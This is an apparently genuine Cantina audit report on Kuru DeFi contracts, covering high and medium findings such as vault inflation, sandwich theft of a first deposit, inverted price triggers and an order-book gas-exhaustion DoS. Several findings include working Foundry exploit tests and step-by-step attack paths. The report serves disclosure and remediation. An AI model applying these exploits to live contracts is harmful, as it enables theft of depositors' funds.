

CANTINA

Kuru Contracts Competition

October 28, 2025

Contents

1	Introduction	2
1.1	About Cantina	2
1.2	Disclaimer	2
1.3	Risk assessment	2
1.3.1	Severity Classification	2
2	Security Review Summary	3
3	Findings	4
3.1	High Risk	4
3.1.1	KuruAMMVault is still vulnerable to an inflation attack	4
3.1.2	Flip Liquidity Strands Part of Taker Fee in MarginAccount	5
3.1.3	Logical Flaw in Price-Dependent Execution: Incorrect Price Oracle for Buy Orders	8
3.1.4	Malicious validator can steal 50% of first user deposit due to lack of slippage protection on the deposit(...) of Kuru vault	9
3.1.5	Price-dependent trigger is inverted: executes when condition is the opposite of what user signed	12
3.2	Medium Risk	13
3.2.1	Permanent DoS of OrderBook due to OOG	13
3.2.2	The vault amm will get out of the amm curve when the invariant of partially filled will be broken.	15
3.2.3	Missing slippage protection on vault	18
3.2.4	KuruAMMVault Zero Price Initialization on First Deposit	19

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

A competition provides a broad evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While competitions endeavor to identify and disclose all potential security issues, they cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities, therefore, any changes made to the code would require an additional security review. Please be advised that competitions are not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity level	Impact: High	Impact: Medium	Impact: Low
Likelihood: high	Critical	High	Medium
Likelihood: medium	High	Medium	Low
Likelihood: low	Medium	Low	Low

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above matrix. High severity findings represent the most critical issues that must be addressed immediately, as they either have high impact and high likelihood of occurrence, or medium impact with high likelihood.

Medium severity findings represent issues that, while not immediately critical, still pose significant risks and should be addressed promptly. These typically involve scenarios with medium impact and medium likelihood, or high impact with low likelihood.

Low severity findings represent issues that, while not posing immediate threats, could potentially cause problems in specific scenarios. These typically involve medium impact with low likelihood, or low impact with medium likelihood.

Lastly, some findings might represent improvements that don't directly impact security but could enhance the codebase's quality, readability, or efficiency (Gas and Informational findings).

2 Security Review Summary

Kuru Labs is an R&D company that helps turn bold ideas into market-ready technology solutions.

From Aug 18th to Sep 1st Cantina hosted a competition based on [kuru-contracts](#). The participants identified a total of **75** issues in the following risk categories:

- High Risk: 5
- Medium Risk: 4
- Low Risk: 20
- Gas Optimizations: 0
- Informational: 46

The present report only outlines the **high** and **medium** risk issues.

3 Findings

3.1 High Risk

3.1.1 KuruAMMVault is still vulnerable to an inflation attack

Submitted by [kvar](#), also found by [Sabit](#), [samm](#) and [cosminmarijan53](#)

Severity: High Risk

Context: (No context files were provided by the reviewer)

Finding Description: Note: This is a separate issue from #526. Although both attacks can occur on the first deposit, the root causes differ, and each requires its own mitigation.

KuruAMMVault is still vulnerable to a first-depositor inflation attack, despite the MIN_LIQUIDITY safeguard. The vault's share-minting logic can be manipulated when an attacker deposits directly into the vault's margin account, inflating reserves without changing the ask price. This affects `_convertToShares()`, which calculates minted shares based on vault's margin account balances, allowing the attacker to control the number of shares minted for subsequent users.

The attack works best when the base asset is high-value (e.g., ETH) and the quote asset is low-value (e.g., a stablecoin). The steps are:

1. The attacker frontruns the first deposit, setting the initial ask price so that the high-value base asset appears less valuable.
2. The attacker deposits only the low-value quote asset directly into the margin account, cheaply inflating the vault's reserves.
3. When the victim's transaction executes, the `_expectedQuoteAmount` is calculated as:

```
uint256 _expectedQuoteAmount = (
    FixedPointMathLib.mulDivUp(baseDeposit, _currentAskPrice, vaultPricePrecision)
        * 10 ** marketParams.quoteAssetDecimals
    ) / 10 ** marketParams.baseAssetDecimals;
```

Because the ask price was manipulated, the expected quote amount is extremely low. The victim is effectively charged almost only the base asset (high-value asset).

4. During share minting, the vault uses the inflated margin account balances. The attacker can manipulate the calculation so that the victim receives only 1 share (0 shares would revert), while the attacker retains the majority of the vault's value.

Impact Explanation: User loses almost all of their deposited base asset (e.g. ETH), while the attacker profits.

Likelihood Explanation: In the test case, the attack cost the attacker 1 ETH and 1,000 USDC for a profit of roughly 1 ETH. Since it must be executed on the first deposit, the likelihood is medium.

Proof of Concept: Note: For this test, assume USDC has 18 decimals, as set up in the test environment.

- Add this test case in `OrderBookTest.t.sol`:

```
function testFirstDepositorInflationAttack() public {
    address attacker = genAddress();
    address alice = genAddress();

    eth.mint(attacker, 9999999e18);
    usdc.mint(attacker, 9999999e18);
    eth.mint(alice, 9999999e18);
    usdc.mint(alice, 9999999e18);
    vm.startPrank(attacker);
    eth.approve(address(vault), type(uint256).max);
    usdc.approve(address(vault), type(uint256).max);
    eth.approve(address(marginAccount), type(uint256).max);
    usdc.approve(address(marginAccount), type(uint256).max);
    vm.stopPrank();
    vm.startPrank(alice);
    eth.approve(address(vault), type(uint256).max);
    usdc.approve(address(vault), type(uint256).max);
    vm.stopPrank();
```

```

// for this test lets imagine eth price is 2500$ currently
// alice wants to make an initial deposit with 1 eth and 2500 usdc
// attacker frontruns that and deposits 1e18 eth and a very small amount of usdc
vm.startPrank(attacker);
vault.deposit(1e18, 1e8, attacker);
// and directly deposits 1000 usdc into the vault's margin account
// which will not change the ask price
marginAccount.deposit(address(vault), address(usdc), 1000e18);
vm.stopPrank();

// now alice's tx goes through
// she tries to deposit 1e18 eth and 2500 usdc which is a normal ratio
// because of the ask price, her usdc get refunded, but she gets charged the eth
// she will get minted an extremely low amount of shares due to the margin account direct deposit
vm.prank(alice);
vault.deposit(1e18, 2500e18, alice);

// alice receives just 1 share
assert(vault.balanceOf(alice) == 1);

vm.startPrank(attacker);
vault.withdraw(vault.balanceOf(attacker), address(10), attacker);

// attacker used 1 eth and 1000 usdc
// and gained roughly 1 eth profit
assert(eth.balanceOf(address(10)) > 1.99e18);
assert(usdc.balanceOf(address(10)) > 999e18);
}

```

Recommendation: Do not allow direct deposits into the vault's margin account so that only deposits through the vault affect share calculations.

3.1.2 Flip Liquidity Strands Part of Taker Fee in MarginAccount

Submitted by zzebra83, also found by Adotsam, KuwaTakushi, Sachet Dhanuka, Shahil Hussain, SOPROBRO, trachev, 3n0ch, h2134, dhank, kvar, blockace, AngryMustacheMan, OxEkkoo, cu5t0mpeo and lamSalted

Severity: High Risk

Context: (No context files were provided by the reviewer)

Summary: On flip-only fills, OrderBook.sol deducts the full taker fee from the taker but credits the protocol only the "protocol slice" (`takerFeeBps - makerFeeBps`). Flip makers never receive a rebate (by design), so the remaining "maker slice" is uncredited to anyone and becomes stranded inside MarginAccount. `collectFees()` cannot recover it, and MarginAccount has no sweep. This is continuous fee leakage and a ledger inconsistency.

Finding Description:

- Intended: Flip makers get no rebate ("takers pay for flipping") \Rightarrow for flip-only fills, protocol should accrue the full taker fee.
- Actual:
 - Matchers compute `fee = userCredit * takerFeeBps / 1e4`, then reduce user credit by full `fee`.
 - Protocol counters add only `fee * (takerFeeBps - makerFeeBps) / takerFeeBps`.
 - Maker rebate branch runs only if `flippedPrice == 0`. For flips (`flippedPrice != 0`) no rebate is paid.
 - Result: maker slice of `fee` is removed from taker but credited to nobody.

`collectFees()` moves only `baseFeeCollected/quoteFeeCollected` (protocol slice). The remainder is stuck. In all three taker match paths (example: `_marketBuyMatch`), the taker's credit is reduced by the entire taker fee:

```

uint256 _takerFeeBps = takerFeeBps;
if (_takerFeeBps > 0) {
    uint256 _feeDebit = FixedPointMathLib.mulDivUp(_tokenCredit, _takerFeeBps, BPS_MULTIPLIER);
    _tokenCredit -= _feeDebit; // + taker charged FULL fee
    // Calculate protocol part only:
}

```

```

    baseFeeCollected += (_feeDebit * (_takerFeeBps - makerFeeBps)) / _takerFeeBps;
}

```

(Identical pattern exists in `_matchAggressiveSell` for `quoteFeeCollected`, and in `_matchAggressiveBuyWithCap`.)

- Protocol accrues only its slice: Note the accrual uses only $(_takerFeeBps - makerFeeBps) / _takerFeeBps$ of the fee:

```

baseFeeCollected += (_feeDebit * (_takerFeeBps - makerFeeBps)) / _takerFeeBps;
//           ↑ protocol slice (not the full fee)

```

- Flip makers receive no rebate (by design): Maker rebate is only encoded for non-flip orders:

```

// In _fillOrder:
if (s_orders[_orderId].flippedPrice == 0) {
    _orderUpdate = _creditMaker(
        !s_orders[_orderId].isBuy,
        s_orders[_orderId].ownerAddress,
        filledSize,
        s_orders[_orderId].price
    ); // adds (principal credit + optional maker rebate) to makerCredits
}
// ...else: FLIP ORDER → _creditMaker is not called + NO rebate encoded

```

And `_creditMaker` is the only place where a maker rebate is ever constructed:

```

function _creditMaker(bool isMktBuy, address owner, uint96 size, uint32 price)
    internal view returns (bytes memory)
{
    // ...
    if (makerFeeBps > 0) {
        feeRebate = /* makerFeeBps slice in the fee asset */;
        returnData = abi.encode(owner, feeAsset, feeRebate, true); // + rebate only if called
    }
    return bytes.concat(returnData, abi.encode(owner, creditAsset, amount, true));
}

```

Since `_creditMaker` is *not* called for flips, no rebate is ever paid there.

There is no path that moves the "maker slice" when no rebate was issued.

Impact:

- Revenue leakage on every flip-only fill.
- Permanent stranded value in `MarginAccount` (no owner, no withdrawal path).
- Accounting mismatch: token balance > sum of internal balances.

Severity: Medium-High (can be High in flip-heavy markets).

Likelihood: High whenever trades match flip liquidity (common/encouraged path). No special permissions required.

Proof of Concept: Add test to `OrderBookTest.t`:

```

// =====
// HELPER FUNCTIONS
//
function _executeMarketBuy(address _taker, uint96 _size, uint32 _price) internal {
    uint256 _decimals = usdc.decimals(); //caching to avoid startPrank glitch
    usdc.mint(_taker, (_size * 10 ** _decimals) / PRICE_PRECISION);
    vm.startPrank(_taker);
    usdc.approve(address(orderBook), (_size * 10 ** _decimals) / PRICE_PRECISION);
    orderBook.placeAndExecuteMarketBuy(_size, 0, false, false);
    vm.stopPrank();
}

function testFeeStrandingOnFlipOrderFill() public {
    // 1. Arrange: Set up fees, users, and separate roles.
    address contractOwner = address(1); // A separate address for the owner/fee-collector.
    vm.prank(owner); // The original owner from setUp()
    marginAccount.setFeeCollector(contractOwner);
}

```

```

orderBook.setFeesForTest(30, 10); // 30bps taker, 10bps maker

address maker = address(this);
address taker = makeAddr("taker");
uint32 price = 100 * PRICE_PRECISION;
uint96 size = _maxSize / 2;

// Maker deposits base asset (ETH).
uint256 makerDepositAmount = (uint256(size) * (10 ** 18)) / SIZE_PRECISION;
eth.mint(maker, makerDepositAmount);
vm.startPrank(maker);
eth.approve(address(marginAccount), makerDepositAmount);
marginAccount.deposit(maker, address(eth), makerDepositAmount);
orderBook.addFlipSellOrder(price, price - _tickSize, size, true);
vm.stopPrank();

// Taker deposits quote asset (USDC).
uint96 quoteAmountToFill = uint96(uint256(price) * size / SIZE_PRECISION);
uint256 takerDepositAmount = (uint256(quoteAmountToFill) * (10 ** 18)) / PRICE_PRECISION;
usdc.mint(taker, takerDepositAmount * 2);
vm.startPrank(taker);
usdc.approve(address(marginAccount), takerDepositAmount * 2);
marginAccount.deposit(taker, address(usdc), takerDepositAmount * 2);
vm.stopPrank();

// ---- Proof Setup ----
// Snapshot INTERNAL balances *before* the trade.
uint256 takerBaseBefore = marginAccount.getBalance(taker, address(eth));
uint256 ownerBaseBefore = marginAccount.getBalance(contractOwner, address(eth));
uint256 makerBaseBefore = marginAccount.getBalance(maker, address(eth)); // Will be 0 due to provisioning

// 2. Act: Taker fills the order, Owner collects fees.
vm.prank(taker);
orderBook.placeAndExecuteMarketBuy(quoteAmountToFill, 0, true, false);
vm.stopPrank();

vm.prank(contractOwner);
orderBook.collectFees();
vm.stopPrank();

// ---- Proof Assertions ----
// Snapshot INTERNAL balances after all actions.
uint256 takerBaseAfter = marginAccount.getBalance(taker, address(eth));
uint256 ownerBaseAfter = marginAccount.getBalance(contractOwner, address(eth));
uint256 makerBaseAfter = marginAccount.getBalance(maker, address(eth));

// Calculate expected values for assertions.
uint256 baseOut = makerDepositAmount;
uint256 totalTakerFee = (baseOut * 30) / 10000;
uint256 protocolSlice = (baseOut * 20) / 10000;

// (A) Taker's balance is correct: they received the output minus the FULL fee.
assertEq(
    takerBaseAfter - takerBaseBefore,
    baseOut - totalTakerFee,
    "Taker base change should equal output minus full taker fee"
);

// (B) Owner's balance is correct: they received ONLY the protocol's share.
assertEq(
    ownerBaseAfter - ownerBaseBefore,
    protocolSlice,
    "Owner should only receive the protocol's fee slice"
);

// (C) Maker's balance is unchanged (from its post-provisioning state of 0),
// proving they received no base asset rebate.
assertEq(
    makerBaseAfter,
    makerBaseBefore,
    "Flip maker should not receive a base asset rebate"
);
}

```

Add helper contract under lib folder:

```

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

import {OrderBook} from "../../contracts/OrderBook.sol";

/// @title TestOrderBook
/// @notice This contract inherits from OrderBook and exposes internal state/functions
///         for testing purposes ONLY. It should not be used in production.
contract TestOrderBook is OrderBook {
    constructor() {}

    /// @notice (Test Only) Sets the taker and maker fees.
    function setFeesForTest(uint256 _takerFeeBps, uint256 _makerFeeBps) external {
        takerFeeBps = _takerFeeBps;
        makerFeeBps = _makerFeeBps;
    }

    /// @notice (Test Only) Gets the collected base fees.
    function getBaseFeeCollected() external view returns (uint256) {
        return baseFeeCollected;
    }

    /// @notice (Test Only) Gets the collected quote fees.
    function getQuoteFeeCollected() external view returns (uint256) {
        return quoteFeeCollected;
    }
}

```

Recommendation: Account for actual rebates issued per match:

```
protocolAccrual = takerFeePaid - totalMakerRebatesThisMatch;
```

- For flip-only fills (no rebates), protocol accrues the full fee.
- Update *FeeCollected using this value; keep maker rebates zero for flips.

3.1.3 Logical Flaw in Price-Dependent Execution: Incorrect Price Oracle for Buy Orders

Submitted by Cybrid, also found by Pexy, Ziusz, Oxorangesantra, BengalCatBalu, Kassi, winnerz, dhank, maxzuvex, tough, edoscoba, Scater, jayx, udaykiranpedda and fromeo016

Severity: High Risk

Context: (No context files were provided by the reviewer)

Summary: The executePriceDependent function in the KuruForwarder contains a logical flaw where it uses only the best bid price (_currentBidPrice) to validate all price-dependent transactions. This is incorrect for buy orders, which should be validated against the best ask price (_currentAskPrice). This bug renders the price-dependent feature unusable for buyers and can lead to a poor user experience.

Description: The executePriceDependent function is designed to execute a transaction only if a specified price condition is met. The issue is that bestBidAsk() returns two prices: the best bid (highest buy price) and the best ask (lowest sell price). The code only captures and uses the _currentBidPrice.

- For Sellers: Using the _currentBidPrice is generally logical, as a seller wants to sell into the highest available bid.
- For Buyers: This logic is fundamentally flawed. A buyer is interested in the lowest available ask price. A buyer's price-dependent condition should be checked against _currentAskPrice, not _currentBidPrice.

Because the function consistently checks against the bid price, any PriceDependentRequest for a buy order will use the wrong reference price and this is most significant when orders are already created by makers. This leads to the condition triggering unexpectedly.

```

require(
    (req.isBelowPrice && req.price < _currentBidPrice) || (!req.isBelowPrice && req.price > _currentBidPrice),
    PriceDependentRequestFailed(_currentBidPrice, req.price)
);

```

Impact: This is a functional vulnerability that severely limits the utility of the `executePriceDependent` feature. It does not pose a direct security risk in terms of asset loss, but it creates a denial of functionality for all buy orders. Users attempting to submit a buy request with a price condition will experience:

- Poor User Experience: The feature is unreliable and unusable for a significant portion of its intended use cases, leading to frustration and distrust. This is more significant when orders exist, as a much lower ask price might exist.

Likelihood: High. The conditions to trigger this issue are not external and are a direct result of the flawed contract logic. Any buyer who attempts to use the price-dependent feature will encounter this bug, making it a guaranteed and frequent occurrence.

Recommendation: To fix this, the contract must be modified to use the correct price reference based on whether the transaction is a buy or a sell.

1. Retrieve Both Prices: Modify the `bestBidAsk()` call to retrieve both the bid and ask prices.
2. Add Conditional Logic: Implement a check to determine if the `req.selector` corresponds to a buy or sell operation. Use the `_currentAskPrice` for buy orders and `_currentBidPrice` for sell orders.

Kuru Labs: This is an intentional design choice.

3.1.4 Malicious validator can steal 50% of first user deposit due to lack of slippage protection on the `deposit(...)` of Kuru vault

Submitted by GeneralKay, also found by Adotsam, dash, Shahil Hussain, timeflierz, kvar, OxEkkoo, polaristow22, h2134, gh0xt and harry

Severity: High Risk

Context: `KuruAMMVault.sol#L156-L170`

Summary: On Monad blockchain each validator maintains a local mempool, and RPC nodes forward transactions to the next few leaders for inclusion in their local mempool. This allows MEV opportunities for the validators.

The `deposit(...)` function of `KuruAMMVault.sol` is used to provide liquidity by liquidity providers and the first depositor(LP) sets the price. However this deposit function has no slippage protection which allows an attacker to sandwich the first depositors of each vault to steal part of their deposits.

See [the Monad docs on local mempool](#).

Finding Description: On Monad blockchain where the contracts will be deployed, a leader validator can select and order transaction from his local mempool. see [the Monad docs on transaction lifecycle in monad](#).

A validator on Monad blockchain can use a new address to create transactions that sandwich a victim's transaction present in his local mempool. Profits to be made from such transactions is enough incentive to carry out MEV attack by the leader validator.

The `KuruAMMVault.sol#deposit(...)` function allows liquidity providers to deposit token pairs that will be made available for trading on through the `Orderbook.sol` contract. The main issue is that the first depositor sets the price of the token pairs based on the ratio of deposited tokens and subsequent users' deposit are taken in that ratio.

A leader validator of monad that has noticed a first deposit(...) transaction to the `KuruAMMVault.sol` in his local mempool can create a deposit transaction to first set a fake price, so that the validator can swap the victim's deposit at that fake price set. This causes the victim to lose part of their asset and in the POC provided it is shown that 50% of the value of the total deposit asset can be stolen.

Since the `deposit(...)` function of `KuruAMMVault.sol` is used for providing liquidity slippage protection should be implemented to protect users.

```
// File: KuruAMMVault.sol
function deposit(uint256 baseDeposit, uint256 quoteDeposit, address receiver)
    public
    payable
    nonReentrant
    returns (uint256)
{
```

```

require(
    (token1 == address(0) || token2 == address(0))
    ? msg.value >= (token1 == address(0) ? baseDeposit : quoteDeposit)
    : msg.value == 0,
    KuruAMMVaultErrors.NativeAssetMismatch()
);

return _mintAndDeposit(baseDeposit, quoteDeposit, receiver);
}

function _mintAndDeposit(uint256 baseDeposit, uint256 quoteDeposit, address receiver) internal returns
→ (uint256) {
    (uint256 _baseAmount, uint256 _currentAskPrice) = _returnNormalizedAmountAndPrice(true);
    uint256 _shares;
    if (totalSupply() != 0) {
        uint256 _expectedQuoteAmount = (
            (
                FixedPointMathLib.mulDivUp(baseDeposit, _currentAskPrice, vaultPricePrecision)
                * 10 ** marketParams.quoteAssetDecimals
            )
        ) / 10 ** marketParams.baseAssetDecimals;
        require(_expectedQuoteAmount <= quoteDeposit, KuruAMMVaultErrors.InsufficientQuoteToken());
        _shares = _convertToShares(baseDeposit, _expectedQuoteAmount, _currentAskPrice);
        quoteDeposit = _expectedQuoteAmount;
        _mint(receiver, _shares);
    } else {
        _shares = FixedPointMathLib.sqrt(baseDeposit * quoteDeposit);
        _mint(address(marginAccount), MIN_LIQUIDITY);
        _shares -= MIN_LIQUIDITY;
        _mint(receiver, _shares);
        _currentAskPrice = (//@audit validator can set a fake price to allow him swap out victim's asset at fake
→ price.
        (quoteDeposit * 10 ** marketParams.baseAssetDecimals)) * vaultPricePrecision
        / 10 ** marketParams.quoteAssetDecimals
    } / (baseDeposit);
}
require(_shares > 0, KuruAMMVaultErrors.InsufficientLiquidityMinted());
(uint96 _newAskSize, uint96 _newBidSize) = _getVaultSizesForBaseAmount(_baseAmount + baseDeposit);
market.updateVaultOrdSz(
    _newAskSize,
    _newBidSize,
    _currentAskPrice,
    FixedPointMathLib.mulDivRound(_currentAskPrice, BPS_MULTIPLIER, BPS_MULTIPLIER + SPREAD_CONSTANT),
    false
);
address _token1 = token1;
address _token2 = token2;
_depositAmountsToMarginAccount(_token1, _token2, baseDeposit, quoteDeposit);
uint256 _nativeRefund =
    _token1 == address(0) ? (msg.value - baseDeposit) : (_token2 == address(0) ? (msg.value - quoteDeposit)
    : 0);
if (_nativeRefund > 0) {
    msg.sender.safeTransferETH(_nativeRefund);
}
emit KuruVaultDeposit(baseDeposit, quoteDeposit, _shares, receiver);
return _shares;
}

```

Impact Explanation: Attacker can fronrun first depositor of all KuruAMMVault.sol pair vault to set the price and swap out victim's asset at the fake price set stealing part of the asset of the first depositor.

Likelihood Explanation: This is highly likely by the leader validators on monad to order transactions such that first depositor's transaction to KuruAMMVault.sol is sandwiched to steal part of the deposit.

Proof of Concept: Copy and paste the test function below to the test/OrderBookTest.t.sol:OrderBook-Test test contract then run forge test --match-test test_Kuru_deposit_slippage_exploit_Kay -vvv:

```

//Test to show that first depositor in the KuruAMMVault.sol can be exploited
//Through sandwich attack due to lack of slippage protection during deposit.
function test_Kuru_deposit_slippage_exploit_Kay() public {
    /**NOTE: eth and usdc worth $1 each and the first depositor Bob wants to rightly deposit
    eth and usdc in ratio 1:1 but Alice frontruns Bob's deposit to change the ratio
    then steal Bob's eth through swap with the placeAndExecuteMarketBuy(...) function ***/

```

```

//Alice is the attacker while bob is the victim
address alice = makeAddr("alice");
address bob = makeAddr("bob");

uint256 _amountBase = 2000 * 1e18;
uint256 _amountQuote = 2000 * 1e18;

// Assume both eth and usdc are stable coins worth $1 each, with 18 decimals
// And are supposed to have 1:1 ratio on KuruAmmVault
eth.mint(alice, _amountBase);
usdc.mint(alice, _amountQuote);
eth.mint(bob, _amountBase);
usdc.mint(bob, _amountQuote);

//Check dollar worth of alice and bob
uint256 aliceAssetBefore = eth.balanceOf(alice) + usdc.balanceOf(alice);
uint256 bobAssetBefore = eth.balanceOf(bob) + usdc.balanceOf(bob);
console.log("Alice asset value in dollars:Before",aliceAssetBefore);
console.log("Bob's asset value in dollars:Before",bobAssetBefore);

// Alice and Bob start with $4000 worth asset
assertEq(aliceAssetBefore,bobAssetBefore, "Bob and alice equal $ amoumnt");

//1. Alice Frontruns Bobs deposit of 1:1 with 1e9:2000e18 instead
vm.startPrank(alice);
eth.approve(address(vault), _amountBase);
usdc.approve(address(vault), _amountQuote);
vault.deposit(_amountBase, 1 * 1e9, alice);
vm.stopPrank();

//2. Bob's deposit happens after Alice has set the manipulable price in a frontrun
vm.startPrank(bob);
eth.approve(address(vault), _amountBase);
usdc.approve(address(vault), _amountQuote);
vault.deposit(_amountBase, _amountQuote, bob);
vm.stopPrank();

//3. Alice backruns Bob's deposit with a swap through the placeAndExecuteMarketBuy(..) stealing $2000
vm.startPrank(alice);
usdc.approve(address(orderBook), _amountQuote);
orderBook.placeAndExecuteMarketBuy(uint96(1e2), 0, false, false);
vault.withdraw(vault.balanceOf(alice), alice, alice);
vm.stopPrank();

//4. Bob withdraws but got less than deposited since Alice has stolen ~$2000 by setting the price and
// swapping.
vm.startPrank(bob);
vault.withdraw(vault.balanceOf(bob), bob, bob);
vm.stopPrank();

uint256 aliceFinalAsset = eth.balanceOf(alice) + usdc.balanceOf(alice);
uint256 bobFinalAsset = eth.balanceOf(bob) + usdc.balanceOf(bob);
console.log("Alice final asset value in dollars",aliceFinalAsset);
console.log("Bob's final asset value in dollars",bobFinalAsset);

//Alice and Bob both started with $4000 each but alice has stolen ~$2000 from Bob through sandwich attack
//Now Alice has ~$6000 and Bob is left with ~$2000
assertApproxEqAbs((3 * bobFinalAsset), aliceFinalAsset, 2.1*1e18);
}

```

Log Result:

Logs:
Alice asset value in dollars:Before 40000000000000000000000000000000
Bob's asset value in dollars:Before 40000000000000000000000000000000

```
Alice final asset value in dollars 5999499977742399646430
Bob's final asset value in dollars 2000500022257600000761
```

Recommendation:

- Consider implementing slippage protection to the `deposit(...)` function of KuruAMMVault.sol since the deposit function means providing liquidity. See [Uniswap docs on slippage protection to liquidity providers](#).
- Also implement slippage protection to the `withdraw(...)` function too since what it does is to remove liquidity. See [Uniswap docs on slippage protection to liquidity providers](#).

3.1.5 Price-dependent trigger is inverted: executes when condition is the opposite of what user signed

Submitted by umar41999, also found by rokinot, siddhu, 0xnija, Agontuk1, Oxorangesantra, princekay, mbuba, gh0xt, dhank, xero1337, Petrus, Petrus, edoscoba, VictoryGod, OxfocusNode, Oxpriincexyz, olawaleolumideolunloyo, raj2605 and Daniel526

Severity: High Risk

Context: (*No context files were provided by the reviewer*)

Summary: `executePriceDependent` checks the wrong inequality. With `isBelowPrice = true`, it executes when current bid is ABOVE the threshold; with `isBelowPrice = false`, it executes when current bid is BELOW the threshold. Users get filled at adverse prices.

Finding Description: In `executePriceDependent`, current bid price is fetched and compared:

Code (KuruForwarder.sol L267-L271):

```
(uint256 _currentBidPrice,) = IOrderBook(req.market).bestBidAsk();
require(
    (req.isBelowPrice && req.price < _currentBidPrice) ||
    (!req.isBelowPrice && req.price > _currentBidPrice),
    PriceDependentRequestFailed(_currentBidPrice, req.price)
);
```

Intended semantics (industry standard):

1. If `isBelowPrice == true` → execute when market is below threshold, i.e. `_currentBidPrice < req.price`.
2. If `isBelowPrice == false` → execute when market is above threshold, i.e. `_currentBidPrice > req.price`.

The implementation uses the opposite inequalities (`req.price < _currentBidPrice` and `req.price > _currentBidPrice`), flipping user intent.

References: `bestBidAsk()` returns `(bestBid, bestAsk)` (OrderBook.sol L1331-L1335), so `_currentBidPrice` truly is the bid.

Impact Explanation:

1. Orders execute when they shouldn't, frequently at worse prices than specified.
2. This can cause immediate user value loss (buy at higher-than-threshold or sell at lower-than-threshold), and enables MEV griefing (relayers exploit inverted triggers).

Likelihood Explanation: High. Price-dependent forwarding is meant to be used at edges; any user relying on it gets the opposite behavior. This is deterministic, not an edge case.

Proof of Concept: Assume market best bid = 1,000.

1. User signs `isBelowPrice = true, price = 900` (expecting trigger only when price drops below 900).
2. Contract checks `req.price < _currentBidPrice → 900 < 1000` is true, so it executes now, even though price is above 900. Inversion confirmed.

(Flip signs and you get the symmetric wrong behavior for "above price").

Recommendation: Fix the predicate to reflect the signed intent:

```
(uint256 _currentBidPrice,) = IOrderBook(req.market).bestBidAsk();
if (req.isBelowPrice) {
    require(_currentBidPrice < req.price, PriceDependentRequestFailed(_currentBidPrice, req.price));
} else {
    require(_currentBidPrice > req.price, PriceDependentRequestFailed(_currentBidPrice, req.price));
}
```

Optional hardening: For buys, compare against best ask; for sells, compare against best bid (you can infer side from `req.selector`).

Kuru Labs: This is an intentional design choice.

3.2 Medium Risk

3.2.1 Permanent DoS of OrderBook due to OOG

Submitted by [Shahil Hussain](#), also found by [Falendar](#), [BengalCatBalu](#), [Phaethon](#) and [rokinot](#)

Severity: Medium Risk

Context: (No context files were provided by the reviewer)

Summary: An attacker can use `flipOrder` to create multiple orders with size 1 wei at a price point resulting in either DoS by OOG or price manipulation or attacker make huge profits when protocol or other users tries to remove the 1 wei orders from the orderbook by filling it.

Finding Description: This attack path will only work if at least one side of the order book is empty. Here i assume the ask orders are empty but the same attack can be perform when bid orders are empty.

Assuming 1 eth = 2000 usdc and no ask orders are present.

Attack path:

1. Attacker adds a sellOrder at price `10000 - tickPrice * i(times)` usdc of minimum Size possible.
2. Attacker adds a flipSellOrder at price `10000 - tickPrice * i(times)` usdc and flipPrice 2000 usdc of minimum size possible.
3. Attacker adds a buyOrder at price `10000 - tickPrice * i(times)` usdc of size = minimum size possible + 1.

Now Repeat the attack path for atleast 3700 times ie i increases from 0 to 3699, monad has tx gas limit of 30 million and block gas limit of 150 million and it took 900 million gas to do this attack. So attacker needs to divide the attack into 30 txs or 6 blocks. And all these are happening in a single tx ie inside the loop of another smart contract.

Now let's understand What's happening: In each iteration attacker is placing a `sellOrder` and a `flipSellOrder` with both `minSize` and buying back it's own amount by placing a `buyOrder` but with `size = minSize + 1`. We do `+1` to `minSize` so that it fully filled the `sellOrder` that is placed before and fill the `flipSellOrder` but with the remaining size and that is 1.

Now because the `flipSellOrder` is getting filled(partially) a new `flipBuyOrder` will be created at `flipPrice` which is 2000 usdc (normal price) but with size 1. And in the next iteration we reduce the price by `tickPrice` so that we can place new `sellOrder` and `flipSellOrder` at `10000 - tickPrice` usdc and buy back `minSize + 1` amount at price `10000 - tickPrice`. This will again fill the `flipOrder` but with size 1 creating a new `flipBuyOrder` at price 2000 usdc with size 1.

When repeated it for enough number of times, there will be a lot of orders at price 2000 usdc with size 1 which will result in OOG DoS when someone tries to sell at price 2000 usdc even for `minSize`. Now let's say price drops from 2000 to 1950 usdc in external market and when users try to place a sell Order it will result in OOG reverts.

But this is sill a temporary DoS as if protocol or users wants they can remove the `flipOrders` by simply placing a `buyOrder` of `size > minSize` at price `2000 + tickPrice` and can place a `sellRrder` of `size + 100` at price `2000 + tickPrice`. This will remove 100 1 wei orders from the order book. And

repeating this a number of times will remove all the 1 wei orders from the book. This will result in a negligible loss to the user or protocol.

So here's comes the final step from attacker:

4. Attacker adds a SellOrder at price `flipPrice + tickPice` of any `size > minSize` after repeating the first 3 steps 3700 times.

This will prevent the above solution of the attack from happening because now when users place the buyOrder at price `2000 + tickPrice` it will first fully fill the attacker's sellOrder and then place its own buy order, assuming the price drops below 2000, attackers make a huge profit as it's selling the eth at `2000 + tickPrice` when the actual price is far less than that. The attacker can perform on both sides so profits can be huge in the other side as well.

This can be considered as:

1. DoS for as long as the attacker want.
2. Price Manipulation.
3. Profits for attacker if protocol/users want to removes the 1 wei orders from the orderbook.

This attack may seem very heavy on funds but it reality only `3700 * minSize` of eth is being held by attacker in the protocol and the attacker is getting most of it's takerFees back as rebate `makerFee`.

```
function _fillOrder(uint40 _orderId, uint96 _incomingSizeToBeFilled)
    internal
    returns (uint96 incomingOrderRemainingSize, uint40 _nextHead, bytes memory _orderUpdate)
{
    // ...
    if (s_orders[_orderId].flippedPrice != 0) {
        _handleFlipOrderUpdate(
            _orderId,
            _incomingSizeToBeFilled - incomingOrderRemainingSize, // <<<
            _preExistingOrderUpdatedSize == 0 ? true : false
        );
    }
    // ...
}

function _handleFlipOrderUpdate(uint40 _orderId, uint96 _size, bool nullify) internal {
    if (s_orders[_orderId].flippedId == OrderLinkedList.NULL) {
        // ...
        _addFlippedOrder(
            _filledOrder.flippedPrice,
            _filledOrder.price,
            _size, // <<<
            _filledOrder.ownerAddress,
            _flipOrderId,
            nullify ? OrderLinkedList.NULL : _orderId,
            !_filledOrder.isBuy,
